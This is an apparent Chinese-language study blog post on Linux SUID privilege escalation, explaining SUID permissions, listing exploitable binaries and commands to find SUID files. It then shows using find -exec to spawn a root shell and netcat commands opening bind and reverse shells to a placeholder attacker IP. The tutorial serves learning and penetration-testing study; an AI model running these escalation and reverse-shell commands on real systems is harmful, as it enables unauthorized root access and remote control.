Linux提权4

本次学习suid提权,之前学习环境变量提权的时候已经接触了suid,但在环境变量提权的时候有很多限制,很多时候我们无法直接编辑环境变量,suid提权方式会更高效。

实验原理

suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。

SUID按照八进制为4,SGID为2,SBIT为1,在普通权限前一位,比如4777,其实就是rws-rwx-rwx,具有SUID权限的文件所属者x变为s。

具有suid权限的并可用于提权的文件有:

nmap
vim
find
bash
more
less
nano
cp
awk

 查找具有suid权限文件命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
实验过程

 以普通用户登录目标服务器

 查找具有suid权限文件,发现存在find属于我们可以提权的命令

 使用find命令可以执行其他的系统命令,因此可以通过find获取新的具有root权限shell

find /etc/passwd -exec /bin/bash -p \;

 如果想要用nc反弹shell也可以执行

find /etc/passwd -exec nc -lvp 7777 -e /bin/bash \;
find /etc/passwd -exec nc -e /bin/bash x.x.x.x(攻击者ip) 7777 \;
posted @ 2023-11-30 11:35  白云之东  阅读(51)  评论(0)    收藏  举报